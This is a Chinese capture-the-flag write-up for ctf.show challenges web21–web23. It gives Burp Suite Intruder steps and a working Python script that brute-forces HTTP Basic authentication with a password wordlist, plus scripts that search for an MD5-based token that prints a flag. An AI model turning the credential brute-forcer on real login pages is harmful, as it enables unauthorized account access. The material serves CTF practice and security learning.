web21 原始信息 这里提供的是账户登录,下面是数据包:
GET / HTTP/1.1  Host: 4348 c988-e9ca-4605 -a191-c67e0012af3b.challenge.ctf.show User-Agent: Mozilla/5.0  (Windows NT 10.0 ; WOW64; rv:52.0 ) Gecko/20100101  Firefox/52.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,* 
 
账密加密后转成了下面的base64字符:
dXNlcm5hbWU6cGFzc3dvcmQ= username:password 
 
解题 想要爆破这个登录框,就得组合出  "用户名:密码"  的爆破形式。 爆破的方法很多:     1 .可以先准备用户名和密码,在BP使用 "自定义迭代器"  规定格式并且包装为base64进行爆破     2 .使用脚本,将原始的用户名载入到脚本中,处理后发包出去     3 .社工,这个不是当下的解法 
 
BP爆破 此处不使用图片说明,文字说明为主。
1 . 拦截到数据包后,把数据包转发到测试器2 . 在测试器当中的Positions 给     Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=     添加变量     Authorization: Basic §dXNlcm5hbWU6cGFzc3dvcmQ=§ 3 .转到Payloads选项卡:    这是从上到下的四个选项卡,不懂的自己拿手机翻译     1 .有效荷载集:         有效荷载集:1          有效荷载类型:自定义迭代器          2 .有效荷载集选项[自定义迭代器]         位置 1              在载入处选一个后台用户名字典进行载入             或者底部写入 admin 点击添加按钮手动输入用户名字典         位置 2              在底部手动输入 : 并且添加上去即可         位置 3              在载入处选一个后台密码字典进行载入             或者底部写入 password 点击添加按钮手动输入密码字典         "迭代器的原理:把位置1~3进行组合爆破"      3 .有效荷载处理         1 .点击添加按钮         2 .选择数据类型为:编码         3 .再在第二个选项卡选择base64编码     4 .有效荷载编码         取消URL编码:把那个勾勾去掉就行         "补充:数据包的数据头主体没必要使用URL编码"  
 
Py爆破 这个思路就更简单了。 主要的部分就是使用py发包。
import  requests,base64,timedef  pass_encode (txt, url ):    with  open (txt, 'r' ) as  pwd:         dit = pwd.read().split('\n' )     for  i in  dit:         nwd = "admin:{}" .format (i)         header = {             'Authorization' : 'Basic {}' .format (base64.b64encode(nwd.encode('utf-8' )).decode('utf-8' ))         }         req = requests.get(url=url,headers=header)         time.sleep(0.2 )                                    print ('{:^10} |{}' .format (req.status_code,nwd)) if  __name__ == "__main__" :    txt = "new_pwd.txt"      url = "http://75ff163a-c051-4124-ba53-fdf593f02ab6.challenge.ctf.show/index.php"      pass_encode(txt, url) 
 
返回大概如下:(已简化截取)
...    401      |admin:000 102    401      |admin:000111    401      |admin:000123    200      |admin:shark63    401      |admin:000126    401      |admin:000226 ... 
 
总结  
web22 子域名爆破 或者说子域名查询:https://chaziyu.com/ctf.show/ 
web23 原始信息 error_reporting (0 );include ('flag.php' );if (isset ($_GET ['token' ])){    $token  = md5 ($_GET ['token' ]);     if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){         if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){             echo  $flag ;         }     } }else {     highlight_file (__FILE__ ); }  
 
解题 这波铁打的分析了……
if (isset ($_GET ['token' ])){         $token  = md5 ($_GET ['token' ]);               if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){                           if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){             echo  $flag ;         }     } }else {     highlight_file (__FILE__ ); }  
 
看意思,就是把编码后的md5取出某些字符,并且符合条件就能爆出flag 题目原本的意思就是爆出flag,试着用BP爆破。
官方WP 这个属实有些看不懂。看不懂的是它的字符串哪里来的。
实验出来的结果其实就一个:3j 因为实验出来全是1,怎么算都合理……
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'  md5 = hashlib.md5(dic.encode()).hexdigest() for  a in  dic:    for  b in  dic:         t = str (a)+str (b)         md5 = hashlib.md5(t.encode()).hexdigest()         if  md5[1 :2 ] == md5[14 :15 ] and  md5[14 :15 ]== md5[17 :18 ]:             print (t)             print (md5)             print (md5[1 :2 ])             print (md5[14 :15 ])             print (md5[17 :18 ])             print ('=' *30 ) 
 
于是乎,尝试仿原始信息写了一个PHP的WP
PHP的WP 这个连原理都简单的一批。 主要是试着用数字不断的叠加,每个叠加数字的MD5值都试着去爆破下,看哪个值符合条件就输出来。
<?php $t  = 0 ;while  (TRUE ) {    $t  = (string )(1  + $t );     $token  = md5 ($t );     if  (substr ($token , 1 , 1 ) === substr ($token , 14 , 1 ) && substr ($token , 14 , 1 ) === substr ($token , 17 , 1 )) {         if  ((intval (substr ($token , 1 , 1 )) + intval (substr ($token , 14 , 1 )) + substr ($token , 17 , 1 )) / substr ($token , 1 , 1 ) === intval (substr ($token , 31 , 1 ))) {             $f  = substr ($token , 1 , 1 );             $g  = substr ($token , 14 , 1 );             $h  = substr ($token , 17 , 1 );             $i  = substr ($token , 31 , 1 );             echo  "{$t}  -- {$f}  -- {$g}  -- {$h}  -- {$i} \n" ;             break ;         }     } }